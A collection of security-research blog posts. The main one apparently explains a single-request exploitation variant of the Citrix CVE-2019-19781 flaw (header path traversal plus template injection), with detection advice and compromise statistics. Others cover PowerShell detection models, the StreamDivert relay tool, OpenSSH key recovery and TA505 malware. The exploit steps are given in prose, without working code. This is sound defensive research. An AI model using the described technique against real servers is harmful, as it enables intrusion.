When a request is received by the Citrix server, the request is handled according to the Apache httpd.conf configuration, which contains a large number of complex redirect rules which ship off the request to a particular component depending on the request properties, such as the request path. Requests to the /vpns/portal/ path are handled by the Handler.pm Perl module via the PerlResponseHandler mod_perl directive in the httpd.conf file.
httpd.conf
Among other things (which we will explain later, or maybe some eagle-eyed readers may spot it in the screenshot), the Handler module simply takes the path specified within the request, forms a path to the requested file, and renders it via the Template Toolkit template engine.
Handler Function
This means that if we write our XML file to the templates directory, and inject template directives via the url, title or desc parameters, we can later cause the XML file to be rendered as a template using a follow-up HTTP request. Perfect!
However, there is one last hurdle. Although the Template Toolkit can allow code execution via template directives such as PERL and RAWPERL, these are disabled in the configuration used on the Citrix server. However, it was discovered that this same functionality could be achieved by abusing the global template object, which is exposed to all templates, to create a new BLOCK containing arbitrary Perl code, via a call to the template.new method. This allows the attacker to execute their code using a template directive such as the following:
Further details regarding this “feature” can be found in the GitHub issue.
Note that @0x09AL also identified another method to execute code via the DATAFILE plugin. This is also explained in the MDSec blog post.
Exploit Summary
So putting it all together, we need to:
Make a request to the pl file with a directory traversal within the `NSC_USER` header, causing an XML file to be written to the templates directory.
Inject a template directive into the dropped XML file, containing Perl code to be executed
Make another request to the `/vpns/portal/<file>.xml` file in order to cause Handler.pm to render it via the template engine.
The above steps are the same as those carried out in the “Project Zero India” public exploit as well as the one subsequently released by TrustedSec shortly afterwards. It was also the same technique we and others had used in their own exploits. This resulted in some people (us included) believing that the following constraints could be relied upon for detection:
The attacker must make two requests. First a POST request to write the XML file. Second, a GET request to render the XML file.
The first request would be to the `newbm.pl` file
The first request would contain an `NSC_USER` header containing a traversal string
Flawed Assumptions
Two days after the public exploits were released, @mpgn_x64 discovered that in fact any Perl file which called the csd function could be exploited, regardless of whether user-provided data was added to the written XML file.
@mpgn_x64 Tweet
Example using picktheme.pl (Step 1)
Example using picktheme.pl (Step 2)
This is possible because when the csd function is called, it eventually calls filewrite if the file does not already exist. This can be seen within the UserPrefs.pm file. When csd is called, it internally calls fileread on line 61:
Call to fileread Function
The fileread function checks if the specified file (constructed via $username value, taken from the NSC_USER header), exists or not.
User-controlled Values in fileread
If the file does not exist, then the initdoc function is called, which creates the XML file passing the $username value:
initdoc Function
Additionally, aside from the user controlled values (such as url, title, and desc used in newbm.pl), the filewrite function would also write the username within the XML file, which as we showed before, is controlled via the NSC_USER header. So, if we request a “vulnerable” .pl file with an NSC_USER value that contains the target XML file to be written, but also a template injection string we can exploit the issue without controlling any other values in the XML file!
After this we simply need to request the XML file, causing it to be rendered via the template engine, ensuring that we encode any non-URL safe characters within the template/path appropriately.
This dispelled the first myth – exploitation could in fact take place against any .pl file calling the csd function. This included the following files:
newbm.pl
rmbm.pl
themes.pl
picktheme.pl
navthemes.pl
personalbookmark.pl
Exploitation of this Method in the Wild
Shortly after this information was published, we started to see the first usage of this new exploitation technique deployed in the wild. This log extract shows some hits that were received in our Citrix honeypots, mostly from TOR exit nodes, starting from January 24th. Interestingly, these requests would write out a Perl backdoor line by line to a file named /netscaler/portal/scripts/loadcolourprefs.pl. This backdoor simply checked if the MD5 hash of the supplied password parameter matched a hardcoded value, and if so, would execute the command provided within the HTTP request.
The decoded webshell code is shown below. This appears to be a modified version of the PerlKit webshell.
The details of this webshell were shared with our contacts at FireEye, who added detection to their IOC scanner script. Later the same month, further attacks were observed in the wild, distributing the same backdoor, in what appeared to be large distribution, non-targeted attacks. Just like with the Iran Network Team attacks, we are unable to provide any specific attribution due to limited visibility of post-exploitation activity.
Some more Quirks
To compound matters further, @superevr discovered that due to the way that the Citrix HTTP server handles requests, the exploit does not require a POST request followed by a GET request, and could be exploited with varying request methods. In fact the request method itself did not matter at all, and could be exploited even with a non-existent request method. The HTTP version number itself could also be meddled with, further frustrating efforts to detect exploitation attempts. Thanks to efforts by both the community and FireEye, detection methods were improved to take account for these “quirks”.
Refining the Exploit Further
Now we know that exploitation of this issue was not simply confined to one specific “vulnerable” .pl file, and that attackers are constantly evolving their attack techniques in order to overcome our assumptions of constraints of specific vulnerability exploitation, i.e. “how a well-behaving HTTP server should work”. What other assumptions can we challenge? Well, in the next section we will show how we discovered that the issue can in fact be exploited:
With only a single HTTP Request
Without any “vulnerable” Perl file existing on the server
With only non-Perl files (.e.g. ping.html)
Without any existing file at all
In fact, this method can be used to exploit a vulnerable server even if an attacker has deleted all of the Perl files contained within the “scripts” directory – thus bypassing any “palware” patch that involves removing the vulnerable Perl scripts from the server. And best of all, the “exploit” fits in fewer than 280 characters.
To explain how this works, we need to take a step back and remember how the newbm.pl (and similar) exploits worked. You will recall that they all rely on the csd and filewrite functions being called, hence the need for a “vulnerable” .pl file. However, the csd function is also called outside of these Perl files.
If we take a look again at the Handler.pm module we can see that the csd function is actually called automatically whenever the Handler is invoked, which includes any time a file is served via the /portal/templates/* path. This means that whenever a request is made for a file within the templates directory (via a request to /vpns/portal/<file> which maps via the httpd.conf to the templates directory), the vulnerable code-path will be hit automatically, even if the requested file is an HTML or XML file, for example. The following screenshot highlights where the csd function is called within Handler.pm:
Handler.pm
As demonstrated by @mpgn_x64, all that is required for the exploit to succeed is a single call to the csd function (which itself calls filewrite), where we place both a template injection and directory traversal within the NSC_USER header. Therefore, putting this together, we can hit the vulnerable code without using any of the built-in Perl scripts. Requesting an existing file such as /vpns/portal/ping.html with a crafted NSC_USER header is enough to cause the XML file to be written to disk. An example request is shown below:
Dropping XML Payload with ping.html
Once the XML file has been written, we can then follow up with a request for the XML file, resulting in our code being executed:
Triggering Code Execution
So now we can exploit the issue without any vulnerable Perl file existing on the target server! But can we do better? Can the issue be exploited with only a single HTTP request to a non-existent file? Let’s take another look at the Handler.pm module.
On line 19, the csd function is called. As discussed, this causes our target XML file to be written to the templates directory:
Call to csd Function
Afterwards, on line 32 the requested file is rendered as a template:
Template Rendering
This means that our XML file is written just before the requested file is rendered. What if we craft a HTTP request that both writes and requests our XML file? The following screenshot shows how this works. First we send our crafted NSC_USER header, whilst also requesting the same file within the GET request path. This results in the XML file being first written, and then rendered straight afterwards, leading to code execution in a single HTTP request, without any vulnerable Perl file!
Successful Exploitation with Single Request
Note that aside from bypassing adversary patches that delete the “vulnerable” Perl files such as newbm.pl from the server, this method will also bypass the NOTROBIN method of checking for (and deleting) XML files within the template directory. This is due to a race-condition in that our XML file is written and rendered within the same request, and thus executed before it can be deleted.
Some Final Questions
Now we’ve shown a new method to exploit the vulnerability, and how to bypass adversary patches. However, we still have some other questions to answer.
– Does the Citrix/FireEye IOC scanner detect this method?
Yes, it does. This is because their success_regexes[0] regex takes care of detecting any request (regardless of HTTP request method or version) that requests a file ending with .xml, which is a constraint of the vulnerability, and something which we cannot, as an attacker, control. The script additionally looks for responses with a 304 status code, which addresses a simple bypass technique of specifying an If-None-Match: * header to solicit a 304 instead of 200 status code.
Successful Detection via Regex
Furthermore, unless the attacker deletes the dropped .xml and compiled .ttc2 files, these will also be present on the filesystem and detectable via the IOC checker script. The following screenshot shows the Citrix/FireEye IOC scanner detecting exploitation via this technique:
IOC Scanner Detection
Readers may have read in FireEye’s “404 Exploit Not Found” blog post that the attacker behind the NOTROBIN attacks also used a single HTTP request method to exploit the issue. Our understanding is that this is not the same technique. The reason for this is that FireEye describes the attacker requesting thenewbm.pl Perl script via a POST request, resulting in a 304 response (presumably using the If-None-Match/If-Modified-Since trick). Discounting the fact that the request method can be arbitrary, our method does not make use of the newbm.pl file.
FireEye “404 Exploit Not Found” Blog
– How can the single request exploit be detected?
As demonstrated above, the Citrix/FireEye IOC scanner still detects the single request variant from an endpoint perspective. Looking at the constraints of this new exploitation method, plus everything we have learned about obfuscation of request methods etc., we know that the request must:
Contain `/vpns/portal/` within the path of the request
Contain an `NSC_USER` header with a traversal `../` sequence
End with `.xml`
However may:
Be any request method type (e.g. `GET`, `HEAD`, `PUT`, `FOO`, `BAR`)
Be split into multiple requests, e.g. one request to trigger the XML file drop, another to the XML (similar to the original exploit)
Result in a 200 response, but could also result in a 304
Contain a traversal `../` sequence in the request path – this depends on whether the request is made to the management or virtual IP interface
Finally, another question you may be wondering – perhaps you are worried that you applied the Citrix mitigation too late, and that an attacker may have “adversary patched” your Citrix server for you. Of course, in this scenario, the best course of action is to complete an examination of the server to identify any potential backdoors or attacker-deployed patches. For this, we thoroughly recommend the official IOC script provided by Citrix/FireEye. However, given that logs typically only persist for a couple of days, and that sophisticated actors may remove logs, it can be difficult to ascertain the level of intrusion by only looking at the Citrix device itself. If your device was patched after public exploits were released, it is highly likely that the device was compromised.
Latest Statistics
Here are the latest statistics based on the latest available data (as of June 2020):
Patched (but backdoored) vs. Unpatched (but backdoored)
8115 servers were identified that are still vulnerable to CVE-2019-19781
Of the 8115 vulnerable servers, 2508 (30.9%) have indicators of adversary patching
These 2508 servers remain vulnerable due to the new discovery of the exploit method described in this blog
A total of 3,332 unique servers were identified to contain known indicators of compromise
23% of the compromised servers had been officially patched, but were still backdoored
Many hosts contained multiple indicators and backdoors from distinct actors, in some cases up to 5 different indicators were observed
49% of compromised devices were located in the US
Breakdown by Country
It has been just over six months since CVE-2019-119781 was first announced, and a mitigation made available. Yet the number of vulnerable and compromised found in the data based on in-the-wild hosts, is shockingly high. Furthermore, whilst we have been able to identify a subset of compromised devices, the true number is likely much higher. This is due to a number of reasons. Firstly, we were only able to observe a limited number of known IoCs, not all of which can be observed based on the datasets we have access to. Secondly the majority of the backdoors and webshells we’ve seen deployed still operate perfectly fine even after the server has been patched. These backdoors typically require no authentication or use a hardcoded password – meaning that anyone could use them as a method to gain remote access. We just don’t have a way of identifying the true number of patched-but-backdoored devices out there. Therefore, we believe that our statistics represent just the tip of the iceberg.
It can no longer be assumed that just because a device was patched, that it does not remain compromised. Nor can it be assumed that if a device was compromised and “patched” by one attacker, that it cannot be compromised by another attacker using the technique described in this publication. Not all attackers share the same motives. Whilst the MO of attackers deploying adversary patching might simply be to “hoard” access until later, other attackers may have more insidious, immediate motives, such as financial gain through ransomware. The most likely reason we haven’t seen many more backdoors deployed in the wild is due to adversary patching. However, as we have demonstrated – this provides both a false sense of security and obscures the true number of compromised devices that may be out there.
We hope that this publication helps to highlight the issue and provide additional visibility into techniques being used in the wild, as well as dispelling a few misconceptions about the vulnerability itself and demonstrates more robust ways to detect exploit variants. We urge organizations to ensure that their devices are not only patched, but that care is taken to ensure that latent compromises have been identified and remediated.
Detecting both ‘offensive’ and obfuscated PowerShell scripts in Splunk using Windows Event Log 4104
Author: Joost Jansen
This blog provides a ‘look behind the scenes’ at the RIFT Data Science team and describes the process of moving from the need or an idea for research towards models that can be used in practice. More specifically, how known and unknown PowerShell threats can be detected using Windows event log 4104. In this case study it is shown how research into detecting offensive (with the term ‘offensive’ used in the context of ‘offensive security’) and obfuscated PowerShell scripts led to models that can be used in a real-time environment.
About the Research and Intelligence Fusion Team (RIFT): RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.
Introduction to PowerShell
PowerShell plays a huge role in a lot of incidents that are analyzed by Fox-IT. During the compromise of a Windows environment almost all actors use PowerShell in at least one part of their attack, as illustrated by the vast list of actors linked to this MITRE technique [1]. PowerShell code is most frequently used for reconnaissance, lateral movement and/or C2 traffic. It lends itself to these purposes, as the PowerShell cmdlets are well-integrated with the Windows operating system and it is installed along with Windows in most recent versions.
The strength of PowerShell can be illustrated with the following example. Consider the privilege-escalation enumeration script PowerUp.ps1 [2]. Although the script itself consists of 4010 lines, it can simply be downloaded and invoked using:
In this case, the script won’t even touch the disk as it’s executed in memory. Since threat actors are aware that there might be detection capabilities in place, they often encode or obfuscate their code. For example, the command executed above can also be run base64-encoded:
which has the exact same result.
Using tools like Invoke-Obfuscation [3], the command and the script itself can be obfuscated even further. For example, the following code snippet from PowerUp.ps1
can also be obfuscated as:
These well-known offensive PowerShell scripts can already be detected by using static signatures, but small modifications on the right place will circumvent the detection. Moreover, these signatures might not detect new versions of the known offensive scripts, let alone detect new techniques. Therefore, there was an urge to create models to detect offensive PowerShell scripts regardless of their obfuscation level, as illustrated in Table 1.
Table 1: Detection of different malicious PowerShell scripts
Don’t reinvent the wheel
As we don’t want to re-invent the wheel, a literature study revealed fellow security companies had already performed research on this subject [4, 5], which was a great starting point for this research. As we prefer easily explainable classification models over complex ones (e.g. the neural networks used in the previous research) and obviously faster models over slower ones, not all parts of the research were applicable. However, large parts of the data gathering & pre-processing phase were reused while the actual features and classification method were changed.
Since detecting offensive & obfuscated PowerShell scripts are separate problems, they require separate training data. For the offensive training data, PowerShell scripts embedded in “known bad” GitHub repositories were scraped. For the obfuscated training data, parts of the Revoke-Obfuscation training data set were used [6]. An equal amount of legitimate (‘known not-obfuscated’ and “known not-offensive”) scripts were added to the training sets (retrieved from the PowerShell Gallery [7]) resulting in the training sets listed in Table 2.
Table 2: Training set sizes
To keep things simple and explainable the decision was made to base the initial model on token (offensive) and character (obfuscated) percentages. This did require some preprocessing of the scripts (e.g. removing the comments), calculating the features and in the case of the offensive scripts, tokenization of the PowerShell scripts. Figures 1 & 2 illustrate how some characters and tokens are unevenly distributed among the training sets.
Figure 1: Average occurrence of several ASCII characters in obfuscated and not-obfuscated scriptsFigure 2: Average occurrence of several tokens in offensive and not-offensive scripts
The percentages were then used as features for a supervised classification model to train, along with some additional features based on known bad tokens (e.g. base64, iex and convert) and several regular expression patterns. Afterwards all features and labels were fed to our SupervisedClassification helper class, which is used in many of our projects to standardize the process of (synthetic) sampling of training data, DataFrame transformations, model selection and several other tasks. For both models, the SupervisedClassification class selected the Random Forest algorithm for the classifying task. Figure 3 summarizes the workflow for the obfuscated PowerShell model.
Figure 3: High-level overview of the training process for the obfuscation model
Usage in practice
Since these models were exported, they can be used for multiple purposes by loading the models in Python, feeding PowerShell scripts to it and observe the predicted outcomes. In this example, Splunk was chosen as the platform to use this model because it is part of our Managed Detection & Response service and because of Splunk’s ability to easily run custom Python commands.
Windows is able to log blocks of PowerShell code as it is executed, called ‘PowerShell Script Block Logging’ which can be enabled via GPO or manual registry changes. The logs (identified by Windows Event ID 4101) can then be piped to a Splunk custom command Reconstruct4101Logging, which will process the script blocks back into the format the model was trained on. Afterwards, the reconstructed script is piped into e.g. the ObfuscatedPowershell custom command, which will load the pre-trained model, predict the probabilities for the scripts being obfuscated and returns these predictions back to Splunk. This is shown in Figure 4.
Figure 4: Usage of the pre-trained model in Splunk along with the corresponding query
Performance
Back in Splunk some additional tuning can be performed (such as setting the threshold for predicting the positive class to 0.7) to reduce the amount of false positives. Using cross-validation, a precision score of 0.94 was achieved with an F1 score of 0.9 for the obfuscated PowerShell model. The performance of the offensive model is not yet as good as the obfuscated model, but since there are many parameters to tune for this model we expect this to improve in the foreseeable future. The confusion matrix for the obfuscated model is shown in Table 3.
Table 3: Confusion matrix
Despite the fact that other studies achieve even higher scores, we believe that this relatively simple and easy to understand model is a great first step, for which we can iteratively improve the scores over time. To finish off, these models are included in our Splunk Managed Detection Engine to check for offensive & obfuscated PowerShell scripts on a regular interval.
Conclusion and recommendation
PowerShell, despite being a legitimate and very useful tool, is frequently misused by threat actors for various malicious purposes. Using static signatures, well-known bad scripts can be detected, but small modifications may cause these signatures to be circumvented. To detect modified and/or new PowerShell scripts and techniques, more and better generic models should be researched and eventually be deployed in real-time log monitoring environments. PowerShell logging (including but not limited to the Windows Event Logs with ID 4104) can be used as input for these models. The recommendation is therefore to enable the PowerShell logging in your organization, at least at the most important endpoints or servers. This recommendation, among others, was already present in our whitepaper on ‘Managing PowerShell in a modern corporate environment‘ [8] back in 2017 and remains very relevant to this day. Additional information on other defensive measures that can be put into place can also be found in the whitepaper.
The first part of this blog will be the story of how this tool found its way into existence, the problems we faced and the thought process followed. The second part will be a more technical deep dive into the tool itself, how to use it, and how it works.
Storytime
About 1½ half years ago I did an awesome Red Team like project. The project boils down to the following:
We were able to compromise a server in the DMZ region of the client’s network by exploiting a flaw in the authentication mechanism of the software that was used to manage that machine (awesome!). This machine hosted the server part of another piece of software. This piece of software basically listened on a specific port and clients connected to it – basic client-server model. Unfortunately, we were not able to directly reach or compromise other interesting hosts in the network. We had a closer look at that service running on the machine, dumped the network traffic, and inspected it. We came to the conclusion there were actual high value systems in the client’s network connecting to this service..! So what now? I started to reverse engineer the software and came to the conclusion that the server could send commands to clients which the client executed. Unfortunately the server did not have any UI component (it was just a service), or anything else for us to send our own custom commands to clients. Bummer! We furthermore had the restriction that we couldn’t stop or halt the service. Stopping the service, meant all the clients would get disconnected and this would actually cause quite an outage resulting in us being detected (booh). So.. to sum up:
We compromised a server, which hosts a server component to which clients connect.
Some of these clients are interesting, and in scope of the client’s network.
The server software can send commands to clients which clients execute (code execution).
The server has no UI.
We can’t kill or restart the service.
What now? Brainstorming resulted in the following:
Inject a DLL into the server to send custom commands to a specific set of clients.
Inject a DLL into the server and hook socket functions, and do some logic there?
Research if there is any Windows Firewall functionality to redirect specific incoming connections.
Look into the Windows Filtering Platform (WFP) and write a (kernel) driver to hook specific connections.
The first two options quickly fell of, we were too scared of messing up the injected DLL and actually crashing the server. The Windows Firewall did not seem to have any capabilities regarding redirecting specific connections from a source IP. Due to some restrictions on the ports used, the netsh redirect trick would not work for us. This left us with researching a network driver, and the discovery of an awesome opensource project: WinDivert (Thanks to DiabloHorn for the inspiration). WinDivert is basically a userland library that communicates with a kernel driver to intercept network packets, sends them to the userland application, processes and modifies the packet, and reinjects the packet into the network stack. This sounds promising! We can develop a standalone userland application that depends on a well-written and tested driver to modify and re-inject packets. If our userland application crashes, no harm is done, and the network traffic continues with the normal flow. From there on, a new tool was born: StreamDivert.
StreamDivert
StreamDivert is a tool to man-in-the-middle or relay in and outgoing network connections on a system. It has the ability to, for example, relay all incoming SMB connections to port 445 to another server, or only relay specific incoming SMB connections from a specific set of source IP’s to another server. Summed up, StreamDivert is able to:
Relay all incoming connections to a specific port to another destination.
Relay incoming connections from a specific source IP to a port to another destination.
Relay incoming connections to a SOCKS(4a/5) server.
Relay all outgoing connections to a specific port to another destination.
Relay outgoing connections to a specific IP and port to another destination.
Handle TCP, UDP and ICMP traffic over IPv4 and IPv6.
Schematic inbound and outbound relaying looks like the following:
Relaying of incoming connectionsRelaying of outgoing connections
Note that StreamDivert does this by leveraging the capabilities of an awesome open source library and kernel driver called WinDivert. Because packets are captured at kernel level, transported to the userland application (StreamDivert), modified, and re-injected in the kernel network stack we are able to relay network connections, regardless if there is anything actually listening on the local destination port.
The following image demonstrates the relay process where incoming SMB connections are redirected to another machine, which is capturing the authentication hashes.
Example of an SMB connection being diverted and relayed to another server.
StreamDivert source code is open-source on GitHub and its binary releases can be downloaded here.
Detection
StreamDivert (or similar tooling modifying network packets using the WinDivert driver) can be detected based on the following event log entries:
A while ago we had a forensics case in which a Linux server was compromised and a modified OpenSSH binary was loaded into the memory of a webserver. The modified OpenSSH binary was used as a backdoor to the system for the attackers. The customer had pcaps and a hypervisor snapshot of the system on the moment it was compromised. We started wondering if it was possible to decrypt the SSH session and gain knowledge of it by recovering key material from the memory snapshot. In this blogpost I will cover the research I have done into OpenSSH and release some tools to dump OpenSSH session keys from memory and decrypt and parse sessions in combinarion with pcaps. I have also submitted my research to the 2020 Volatility framework plugin contest.
SSH Protocol
Firstly, I started reading up on OpenSSH and its workings. Luckily, OpenSSH is opensource so we can easily download and read the implementation details. The RFC’s, although a bit boring to read, were also a wealth of information. From a high level overview, the SSH protocol looks like the following:
SSH protocol + software version exchange
Algorithm negotiation (KEX INIT)
Key exchange algorithms
Encryption algorithms
MAC algorithms
Compression algorithms
Key Exchange
User authentication
Client requests a channel of type “session”
Client requests a pseudo terminal
Client interacts with session
Starting at the begin, the client connects to the server and sends the protocol version and software version: SSH-2.0-OpenSSH_8.3. The server responds with its protocol and software version. After this initial protocol and software version exchange, all traffic is wrapped in SSH frames. SSH frames exist primarily out of a length, padding length, payload data, padding content, and MAC of the frame. An example SSH frame:
Example SSH Frame parsed with dissect.cstruct
Before an encryption algorithm is negotiated and a session key is generated the SSH frames will be unencrypted, and even when the frame is encrypted, depending on the algorithm, parts of the frame may not be encrypted. For example aes256-gcm will not encrypt the 4 bytes length in the frame, but chacha20-poly1305 will.
Next up the client will send a KEX_INIT message to the server to start negotiating parameters for the session like key exchange and encryption algorithm. Depending on the order of those algorithms the client and server will pick the first preferred algorithm that is supported by both sides. Following the KEX_INIT message, several key exchange related messages are exchanged after which a NEWKEYS messages is sent from both sides. This message tells the other side everything is setup to start encrypting the session and the next frame in the stream will be encrypted. After both sides have taken the new encryption keys in effect, the client will request user authentication and depending on the configured authentication mechanisms on the server do password/ key/ etc based authentication. After the session is authenticated the client will open a channel, and request services over that channel based on the requested operation (ssh/ sftp/ scp etc).
Recovering the session keys
The first step in recovering the session keys was to analyze the OpenSSH source code and debug existing OpenSSH binaries. I tried compiling OpenSSH myself, logging the generated session keys somewhere and attaching a debugger and searching for those in the memory of the program. Success! Session keys were kept in memory on the heap. Some more digging into the source code pointed me to the functions responsible for sending and recieving the NEWKEYS frame. I discovered there is a “ssh” structure which stores a “session_state” structure. This structure in turn holds all kinds of information related to the current SSH session inluding a newkeys structure containing information relating the encryption, mac and compression algorithm. One level deeper we finally find the “sshenc” structure holding the name of the cipher, the key, IV and the block length. Everything we need! A nice overview of the structure in OpenSSH is shown below:
SSHENC Structure and relations
And the definition of the sshenc structure:
SSHENC Structure
It’s difficult to find the key itself in memory (it’s just a string of random bytes), but the sshenc (and other) structures are more distinct, having some properties we can validate against. We can then scrape the entire memory address space of the program and validate each offset against these constraints. We can check for the following properties:
name, cipher, key and iv members are valid pointers
The name member points to a valid cipher name, which is equal to cipher->name
key_len is within a valid range
iv_len is within a valid range
block_size is within a valid range
If we validate against all these constraints we should be able to reliably find the sshenc structure. I started of building a POC Python script which I could run on a live host which attaches to processes and scrapes the memory for this structure. The source code for this script can be found here. It actually works rather well and outputs a json blob for each key found. So I demonstrated that I can recover the session keys from a live host with Python and ptrace, but how are we going to recover them from a memory snapshot? This is where Volatility comes into play. Volatility is a memory forensics framework written in Python with the ability to write custom plugins. And with some efforts, I was able to write a Volatility 2 plugin and was able to analyze the memory snapshot and dump the session keys! For the Volatility 3 plugin contest I also ported the plugin to Volatility 3 and submitted the plugin and research to the contest. Fingers crossed!
Volatility 2 SSH Session Key Dumper output
Decrypting and parsing the traffic
The recovery of the session keys which are used to encrypt and decrypt the traffic was succesfull. Next up is decrypting the traffic! I started parsing some pcaps with pynids, a TCP parsing and reassembly library. I used our in-house developed dissect.cstruct library to parse data structures and developed a parsing framework to parse protocols like ssh. The parsing framework basically feeds the packets to the protocol parser in the correct order, so if the client sends 2 packets and the server replies with 3 packets the packets will also be supplied in that same order to the parser. This is important to keep overall protocol state. The parser basically consumes SSH frames until a NEWKEYS frame is encountered, indicating the next frame is encrypted. Now the parser peeks the next frame in the stream from that source and iterates over the supplied session keys, trying to decrypt the frame. If successful, the parser installs the session key in the state to decrypt the remaining frames in the session. The parser can handle pretty much all encryption algorithms supported by OpenSSH. The following animation tries to depict this process:
SSH Protocol Parsing
And finally the parser in action, where you can see it decrypts and parses a SSH session, also exposing the password used by the user to authenticate:
Example decrypted and parsed SSH session
Conclusion
So to sum up, I researched the SSH protocol, how session keys are stored and kept in memory for OpenSSH, found a way to scrape them from memory and use them in a network parser to decrypt and parse SSH sessions to readable output. The scripts used in this research can be found here:
A potential next step or nice to have would be implementing this decrypter and parser into Wireshark.
Final thoughts
Funny enough, during my research I also came across these commented lines in the ssh_set_newkeys function in the OpenSSH source. How ironic! If these lines were uncommented and compiled in the OpenSSH binaries this research would have been much harder..
Threat Intel Analyst: Antonis Terefos (@Tera0017) Data Scientist: Anne Postma (@A_Postma)
1. Introduction
TA505 is a sophisticated and innovative threat actor, with plenty of cybercrime experience, that engages in targeted attacks across multiple sectors and geographies for financial gain. Over time, TA505 evolved from a lesser partner to a mature, self-subsisting and versatile crime operation with a broad spectrum of targets. Throughout the years the group heavily relied on third party services and tooling to support its fraudulent activities, however, the group now mostly operates independently from initial infection until monetization.
Throughout 2019, TA505 changed tactics and adopted a proven simple, although effective, attack strategy: encrypt a corporate network with ransomware, more specifically the Clop ransomware strain, and demand a ransom in Bitcoin to obtain the decryption key. Targets are selected in an opportunistic fashion and TA505 currently operates a broad attack arsenal of both in-house developed and publicly available tooling to exploit its victims. In the Netherlands, TA505 is notorious for their involvement on the Maastricht University incident in December 2019.
To obtain a foothold within targeted networks, TA505 heavily relies on two pieces of malware: Get2/GetandGo and SDBbot. Get2/GetandGo functions as a simple loader responsible for gathering system information, C&C beaconing and command execution. SDBbot is the main remote access tool, written in C++ and downloaded by Get2/GetandGo, composed of three components: an installer, a loader and the RAT.
During the period March to June 2020, Fox-IT didn’t spot as many campaigns in which TA505 distributed their proven first stage malware. In early June 2020 however, TA505 continued to push their flavored GetandGo-SDBbot campaigns thereby slightly adjusting their chain of infection, now leveraging HTML redirects. In the meantime – and in line with other targeted ransomware gangs – TA505 started to operate a data leak platform dubbed “CL0P^_- LEAKS” on which stolen corporate data of non-paying victims is publicly disclosed.
The research outlined in this blog is focused around obtained Get2/GetandGo and SDBbot samples. We unpacked the captured samples and organized them within their related campaign. This resulted in providing us an accurate view on the working schedule of the TA505 group during the past year.
2. Infection Chain and Tooling
As mentioned above, the Threat Actor uses private as well as public tooling to get access, infect the network and drop Clop ransomware.
2.1. Email – XLS – GetandGo
Figure 1. Initial Infection
1. The victim receives an HTML attachment. This file contains a link to a malicious website. Once the file is opened in a browser, it redirects to this compromised URL.
2. This compromised URL redirects again to the XLS file download page, which is operated by the actor.
3. From this URL the victim downloads the XLS file, frequently the language of the website can indicate the country targeted.
4. Once the XLS is downloaded and triggered, GetandGo is executed, communicates with the C&C and downloads SDBbot.
2.2. SDBbot Infection Process
Figure 2. SDBbot infection process
1. GetandGo executes the “ReflectiveLoader” export of SDBbot.
2. SDBbot contains of three modules. The Installer, Loader, RAT module.
3.Initially the Installer module is executed, creates a Registry BLOB containing the Loader code and the RAT module.
4. The Loader module is dropped into disk and persistence is maintained via this module.
5. The Loader module, reads the Registry Blob and loads the Loader code. This loader code is executed and Loads the RAT module which is again executed in memory.
6. The RAT module communicates with the C&C and awaits commands from the administrator.
2.3. TA505 Infection Chain
Figure 3. TA505 Infection Chain
Once SDBbot has obtained persistence, the actor uses this RAT in order to grab information from the machine, prepare the environment and download the next payloads. At this stage, also the operator might kill the bot if it is determined that the victim is not interesting to them.
For further infection of victims and access of administrator accounts, FOX-IT has also observed Tinymet and Cobalt Strike frequently being used.
3. TA505 Packer
To evade antivirus security products and frustrate malware reverse engineering, malware operators leverage encryption and compression via executable packing to protect their malicious code. Malware packers are essentially software programs that either encrypt or compress the original malware binary, thus making it unreadable until it’s placed in memory.
In general, malware packers consist of two components: • A packed buffer, the actual malicious code • An “unpacking stub” responsible for unpacking and executing the packed buffer
TA505 also works with a custom packer, however their packer contains two buffers. The initial stub decrypts the first buffer which acts as another unpacking stub. The second unpacking stub subsequently unpacks the second buffer that contains the malicious executable. In addition to their custom packer, TA505 often packs their malware with a second or even a third layer of UPX (a publicly available open-source executable packer).
Below we represent an overview of the TA505 packing routines seen by Fox-IT. In total we can differentiate four different packing routines based on the packing layers and the number of observed samples.
X64
X86
1
UPX(TA505 Custom Packer(UPX(Malicious Binary)))
0%
0.5%
2
UPX(TA505 Custom Packer(Malicious Binary))
13.7%
0%
3
TA505 Custom Packer(UPX(Malicious Binary))
0%
98.64%
4
TA505 Custom Packer(Malicious Binary)
86.3%
0.86%
TA505 Packing Routines
To aid our research, a Fox-IT analyst wrote a program dubbed “TAFOF Unpacker” to statically unpack samples packed with the custom TA505 packer.
We observed that the TA505 packed samples had a different Compilation Timestamp than the unpacked samples, and they were correlating correctly with the Campaign Timestamp. Furthermore, samples belonging to the same campaign used the same XOR-Key to unpack the actual malware.
4. Data Research
Over the course of approximately a year, Fox-IT was able to collect TA505 initial XLS samples. Each XLS file contained two embedded DLLs: a x64 and a x86 version of the Get2/GetandGo loader.
Both DLLs are packed with the same packer. However, the XOR-key to decrypt the buffer is different. We have “named” the campaigns we identified based on the combination of those XOR-Keys: x86-XOR-Key:x64-XOR-Key (e.g. campaign 0X50F1:0X1218). All of the timestamps related to the captured samples were converted to UTC. For hashes that existed on VirusTotal we used those timestamps as first seen; for the remainder, the Fox-IT Malware Lab was used.
Find below an overview on the descriptive statistics of both datasets:
Figure 4. Datasets Statistics
4.1. Dataset 1, Working Hours and Workflow routine
During this period, we collected all the XLS files matching our TA505-GetandGo Yara rule and we unpacked them with TAFOF Unpacker. We observed that the compilation timestamps of the packed samples were different from the unpacked ones. Furthermore, the unpacked one was clearly indicating the malspam campaign date.
For the Dataset 1, we used the VirusTotal first seen timestamp as an estimation of when the campaign took place.
In the following graph we plotted all 81 campaigns (XOR-key combinations), and ordered them chronologically based on the C&C domain registration time.
What we noticed was, that we see relatively short orange/yellow/light green patches: meaning that the domain was registered shortly before they compiled the malware, and a few hours/days the first sample of this campaign was found on VirusTotal.
Figure 5. Dataset 1, Campaigns overview
As seen by the graph, it seems clear the workflow followed most of the times by the group: Registering the C&C, compiling the malware and shortly after, releasing the malspam campaign.
As seen on the 37% of the campaigns, the first seen sample and compilation timestamp are observed within 12 hours, while 79% of the campaigns are discovered after 1 day of the compilation timestamp and 91.3% within 2 days.
We can also observe the long vacations taken during the Christmas/New Year period (20th December 2019 until 13th of January 2020), another indication of Russian Cybercrime groups.
Figure 6. Dataset 1, Compilation Timestamps UTC
